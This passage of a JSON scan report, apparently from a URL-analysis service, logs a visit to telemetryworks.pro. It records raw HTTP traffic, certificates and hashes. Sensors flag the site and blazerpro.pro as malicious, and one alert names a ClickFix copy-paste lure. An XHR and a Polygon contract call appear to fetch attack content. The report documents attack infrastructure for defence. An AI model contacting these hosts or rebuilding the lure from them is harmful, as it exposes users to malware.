States","country_code":"US"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.674Z","timestamp":1785964438674,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"upload.wikimedia.org","organization":""},"issuer":{"commonName":"YE2","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 05:24:58 GMT","end":"Thu, 10 Sep 2026 05:24:57 GMT"},"fingerprint":{"sha1":"5B:35:4A:25:C6:4D:17:23:8B:63:A3:F7:CE:52:1B:B7:22:06:BF:1B","sha256":"FE:D1:85:EF:B6:D0:7E:42:4F:F4:62:C9:8C:A3:BA:2C:88:5E:47:EB:9A:03:3D:30:4B:E3:63:FF:11:AD:F6:0D"}}},"request":{"raw":"GET /wikipedia/commons/9/94/Cloudflare_Logo.png HTTP/1.1\r\nHost: upload.wikimedia.org\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-Fetch-Storage-Access: none\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=5, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ndate: Wed, 05 Aug 2026 16:59:11 GMT\r\netag: 05982e81981f0f4d317c59d3008727fc\r\nserver: ATS/9.2.13\r\ncontent-type: image/png\r\nx-object-meta-sha1base36: tqzc3404i3b6qqllzyx20sg0c8awofx\r\nlast-modified: Thu, 25 Nov 2021 22:52:08 GMT\r\ncontent-length: 63290\r\nx-ratelimit-limit: 10000, 10000;w=1\r\nx-ratelimit-remaining: 9999\r\nx-ratelimit-reset: 1\r\nage: 15287\r\naccept-ranges: bytes\r\nx-cache: cp3077 hit, cp3077 hit/102\r\nx-cache-status: hit-front\r\nserver-timing: cache;desc=\"hit-front\", host;desc=\"cp3077\"\r\nstrict-transport-security: max-age=106384710; includeSubDomains; preload\r\nreport-to: { \"group\": \"wm_nel\", \"max_age\": 604800, \"endpoints\": [{ \"url\": \"https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error\u0026schema_uri=/w3c/reportingapi/network_error/1.0.0\" }] }\r\nnel: { \"report_to\": \"wm_nel\", \"max_age\": 604800, \"failure_fraction\": 0.05, \"success_fraction\": 0.0}\r\nx-client-ip: 195.64.118.152\r\nx-content-type-options: nosniff\r\nreporting-endpoints: csp_endpoint=\"https://commons.wikimedia.org/w/api.php?reportonly=1\u0026source=image\u0026action=cspreport\u0026format=json\"\r\ncontent-security-policy-report-only: default-src 'none'; script-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data: https://upload.wikimedia.org/favicon.ico; connect-src https://upload.wikimedia.org/favicon.ico; media-src data: 'self'; object-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; report-uri https://commons.wikimedia.org/w/api.php?reportonly=1\u0026source=image\u0026action=cspreport\u0026format=json; report-to csp_endpoint\r\naccess-control-allow-origin: *\r\naccess-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache\r\ntiming-allow-origin: *\r\nset-cookie: WMF-Uniq=sM3yF_r86VKO6ALJfZYYcQOzAAAAAFvdL4norPcKf-ZzhpKga_PX0yFe9vikioa6;Domain=upload.wikimedia.org;Path=/;HttpOnly;secure;SameSite=None;Expires=Thu, 05 Aug 2027 00:00:00 GMT\r\nx-request-id: 7f16b3cb-6514-4742-ae0e-70fa7f33d029\r\nx-analytics: \r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Apache Traffic Server:9.2.13","description":"Apache Traffic Server is an open-source caching and proxying server that serves as an HTTP/1.1 and HTTP/2 reverse proxy with caching capabilities, load balancing, request routing, SSL termination, and support for advanced HTTP features.","website":"https://trafficserver.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*","icon":"Apache Traffic Server.svg","categories":["Web servers"]}],"data":{"size":63290,"size_decoded":65330,"mime_type":"image/png","magic":"PNG image data, 1368 x 1368, 8-bit/color RGBA, non-interlaced","md5":"05982e81981f0f4d317c59d3008727fc","sha1":"feae211bf6d65d064a33c7a87d46ee0b7c616dbd","sha256":"c3916862cfead3af678d0fe7cfcc90cdf69713c1d95bdb988320ffba20a57f0e","sha512":"3c7372405356ad6835968c2c227614a45cc3bc2f7296ff7dd8db5b979babb119aded114cb97a3a55774e05754ae22c7a2df03ce1eb71b65cb6261059388dced1","ssdeep":"768:k2L/oWPZzSgt4YwA0GUHz+sCoFEjzPQYclFK0flKkVFHoJfs/Ryo:km/LPc0wA07HZFEHPQYCFK14HoJq","tlshash":"9353be4acb59227bb5510019b7a3689398b12c733001de1e5bc7b46f5b07fb0ee72d92","first_seen":"2025-03-07T13:54:30.635821Z","last_seen":"2026-08-05T21:14:25.909052Z","times_seen":656,"resource_available":false,"data":null}},"time_used":124,"timings":{"blocked":-1,"dns":2,"connect":21,"send":0,"wait":27,"receive":44,"ssl":30},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"telemetryworks.pro/favicon.ico","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:59.088Z","timestamp":1785964439088,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"telemetryworks.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 06:46:09 GMT","end":"Tue, 27 Oct 2026 07:42:11 GMT"},"fingerprint":{"sha1":"19:A8:B8:4A:E9:FA:47:2E:E8:1E:CE:03:B1:E6:D9:F2:9A:16:88:4D","sha256":"7C:F4:1A:C2:B1:F5:72:01:5E:B9:CB:77:2E:D6:35:CF:21:52:3B:94:70:D5:A4:9E:D2:A4:69:00:65:4E:99:CE"}}},"request":{"raw":"GET /favicon.ico HTTP/1.1\r\nHost: telemetryworks.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=6\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 404 \r\ndate: Wed, 05 Aug 2026 21:13:59 GMT\r\nserver: cloudflare\r\npriority: u=6,i=?0\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=G8I%2BWntgAbnol0Pej6tCqmywvZxuzFn91sj2iGgElVAXbeiSNlRSKkbJ9b%2FOM0ObSXXnrehu2VUvRNHfnwThqvv6Ri%2Bcvze7ZQQ758fCO%2BHJWqRBlccLvKgr87tHZvAXOw%2FtCqY%3D\"}]}\r\ncontent-type: text/html; charset=iso-8859-1\r\ncache-control: max-age=14400\r\ncf-cache-status: EXPIRED\r\ncontent-encoding: zstd\r\ncf-ray: a268cf104e44723c-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"404","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":280,"size_decoded":858,"mime_type":"text/html; charset=iso-8859-1","magic":"HTML document, ASCII text","md5":"bf9aa21762afe0c1d3a6e44db318a788","sha1":"ce1138211e2d02e19c4bda9d1790fbe01e9f775b","sha256":"802738800881838b5b486ef06a74db7cef55eba61d53eaa834a1c0572fad5808","sha512":"4b96b722a6d3272c1e2006d3e1a6bd8792bf6cd12e08fc221eebd8223110ca2e520e447326f3a5f873ae16208da54fce456a227ef444cfb6a659e2a8e51e7044","ssdeep":"","tlshash":"94d02b9e90936287481224a039c265c2274d12fea43a81a82dc6d48752e853ecdda988","first_seen":"2026-08-05T21:08:05.184278Z","last_seen":"2026-08-05T21:14:25.909631Z","times_seen":2,"resource_available":false,"data":null}},"time_used":64,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":64,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/api/index.php?q=v2TcuBoTEV8-CmIALw","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.300Z","timestamp":1785964438300,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"GET /api/index.php?q=v2TcuBoTEV8-CmIALw HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type, Authorization, User-Agent\r\npriority: u=3,i=?0\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=DJXAAdlW0U3EuSxznx5VFcRzUMD3RNBA65MUkOwCHt3MCNk6Zy4CMOU8FuSAEVoBkaEcLwNhUauWtZdX48ASpPIO7pSfxJWTYudmsuxpOzGr5%2BBLhFXTn1YBhH38ejiR\"}]}\r\ncontent-type: application/json\r\ncf-cache-status: DYNAMIC\r\ncontent-encoding: zstd\r\ncf-ray: a268cf0be8b1c759-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":154,"size_decoded":883,"mime_type":"application/json","magic":"JSON text data","md5":"b70d6933ba5ae26ee6f6673d652e1b90","sha1":"77d7a4614ff814bb2558fbaff8ec09f7cf1b257d","sha256":"f2035c440cc8afd4c51089fb5ccd892405c280579cff01a8a20d216aa97a5acd","sha512":"29d37730077843338509e7ab48178552ab2395fc4bf8da4bc393878d93446c50362d60489c718888885170cb995ac1da268076ec57c35120d69a6a56582d5cfe","ssdeep":"","tlshash":"9fc08c030f68a704a01f558165ee0a84b4885889a2de392c8c4a4ae6d6a1910ef39a9b","first_seen":"2026-08-05T21:14:25.910466Z","last_seen":"2026-08-05T21:14:25.910466Z","times_seen":1,"resource_available":false,"data":null}},"time_used":147,"timings":{"blocked":0,"dns":71,"connect":11,"send":0,"wait":64,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/api/index.php?q=IUEdaGD4ZDHzzSYotw","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:14:02.244Z","timestamp":1785964442244,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"OPTIONS /api/index.php?q=IUEdaGD4ZDHzzSYotw HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nAccess-Control-Request-Method: POST\r\nAccess-Control-Request-Headers: content-type\r\nReferer: https://telemetryworks.pro/\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"OPTIONS"},"response":{"raw":"HTTP/3 204 \r\ndate: Wed, 05 Aug 2026 21:14:02 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type, Authorization, User-Agent\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\npriority: u=4,i=?0\r\ncf-cache-status: DYNAMIC\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=U9SJ5Dr%2BDNFn4sLKIoEUQf%2FEHlj5eTUJi%2F%2BD3WUlKrwqJSQ6HcEjwTnGTeviGnIO7ZF8l2lMpYyWX1SIkVMqum%2FLHZK6wbGMBJc5WZjCF735XZcu6CmQc9ARtm2wg7gl\"}]}\r\ncf-ray: a268cf240d75c759-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"204","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":0,"size_decoded":677,"mime_type":"text/plain","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-05T23:03:04.169812Z","times_seen":17732675,"resource_available":true,"data":null}},"time_used":66,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":66,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"telemetryworks.pro/","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":true,"resource_type":"document","requested_by":"","date":"2026-08-05T21:13:57.721Z","timestamp":1785964437721,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"telemetryworks.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 06:46:09 GMT","end":"Tue, 27 Oct 2026 07:42:11 GMT"},"fingerprint":{"sha1":"19:A8:B8:4A:E9:FA:47:2E:E8:1E:CE:03:B1:E6:D9:F2:9A:16:88:4D","sha256":"7C:F4:1A:C2:B1:F5:72:01:5E:B9:CB:77:2E:D6:35:CF:21:52:3B:94:70:D5:A4:9E:D2:A4:69:00:65:4E:99:CE"}}},"request":{"raw":"GET / HTTP/1.1\r\nHost: telemetryworks.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nPriority: u=0, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:57 GMT\r\nserver: cloudflare\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=ltDH0BaApGajrRbQE4P2uDTR3%2FTstPcguh8GykiiyFESGs4Q91qLbHR9G81MCbA0rWnLq4InpTVYYMa90ia8Yf56%2F%2Bewn%2Bk6yQPEWawSdTU2m9wH8dIcrepBJ%2BMTjE26Vjw5FmA%3D\"}]}\r\npriority: u=0,i\r\ncontent-type: text/html; charset=UTF-8\r\ncf-cache-status: DYNAMIC\r\ncontent-encoding: zstd\r\ncf-ray: a268cf07ebd8723c-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":20343,"size_decoded":9290,"mime_type":"text/html; charset=UTF-8","magic":"HTML document, ASCII text, with very long lines (19660)","md5":"62bf0e118b66295843fef4b1789fd2ea","sha1":"c2cc54ebdcac3934ddc7f4e1b5c9a76ed9276309","sha256":"34e85a89c4a01bf0689d53a5681db509dbe03b6a39f23dc8414dd3a1dfff8d74","sha512":"11db66f707c58a1878c247e35936f4c6f80a7d54a0aab0ca3ad2a54edc43f98d1dc44753a5b0b1fdc32a38154196abaff5778466ba65244ce6746ef1fe7d5faa","ssdeep":"384:g45tiRQMiewAaMdBDaWg5/cM54tLShlXz6xRnX/GehQu74adkz6lfLYKTyBUK4lp:gwtTeX9g5/uGy+emu0vm9LYKUAhqO3aW","tlshash":"3e925d45c6b488e14daf63c79d7abb9b9e4193306693f5c478442b418d21b62b37ce0f","first_seen":"2026-06-25T03:13:38.187934Z","last_seen":"2026-08-05T23:24:57.699904Z","times_seen":155,"resource_available":true,"data":null}},"time_used":121,"timings":{"blocked":-1,"dns":6,"connect":17,"send":0,"wait":72,"receive":26,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":[{"sensor_name":"urlquery","alert":"Malicious - Copy/Paste Social Engineering (ClickFix)","verdict":"malicious","severity":"medium","comment":"","tags":["malicious","clickfix"],"meta":null}]}},{"url":{"schema":"https","addr":"polygon.gateway.tenderly.co/","fqdn":"polygon.gateway.tenderly.co","domain":"tenderly.co","tld":"co"},"ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.201Z","timestamp":1785964438201,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"*.gateway.tenderly.co","organization":""},"issuer":{"commonName":"YR2","organization":"Let's Encrypt"},"validity":{"start":"Mon, 15 Jun 2026 18:01:31 GMT","end":"Sun, 13 Sep 2026 18:01:30 GMT"},"fingerprint":{"sha1":"9A:41:E5:34:79:91:EC:A6:18:2C:A5:9B:64:A2:94:81:A0:74:A3:57","sha256":"DD:73:B2:F2:0C:93:E6:AC:22:8B:33:E7:18:12:2F:78:95:14:EF:D9:E1:B3:D5:59:5A:73:0E:1B:07:B3:90:E9"}}},"request":{"raw":"POST / HTTP/1.1\r\nHost: polygon.gateway.tenderly.co\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":136,"data":"{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308\",\"data\":\"0x38bcdc1c\"},\"latest\"],\"id\":1}"}},"response":{"raw":"HTTP/2 200 \r\naccess-control-allow-origin: *\r\ncontent-type: application/json; charset=utf-8\r\nvary: Origin\r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\ncontent-length: 230\r\nx-envoy-upstream-service-time: 7\r\nserver: envoy\r\nvia: 1.1 google\r\nalt-svc: h3=\":443\"; ma=2592000\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing 